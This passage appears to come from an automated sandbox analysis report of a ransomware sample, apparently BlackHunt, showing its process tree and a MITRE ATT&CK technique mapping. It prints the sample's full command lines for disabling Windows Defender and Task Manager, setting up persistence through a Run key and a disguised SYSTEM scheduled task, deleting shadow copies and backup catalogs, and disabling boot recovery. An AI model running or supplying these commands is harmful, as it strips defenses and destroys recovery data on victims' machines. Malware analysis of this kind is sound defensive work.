  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:4552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    - Modifies registry class
    PID:4552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:5052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:4824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe" /F
  2⤵
  PID:4144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:928
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:6052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:832
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4544
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3476
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2704
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2388
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2496
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1576
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4088
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2116
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4672

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3936

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3784

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5696

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery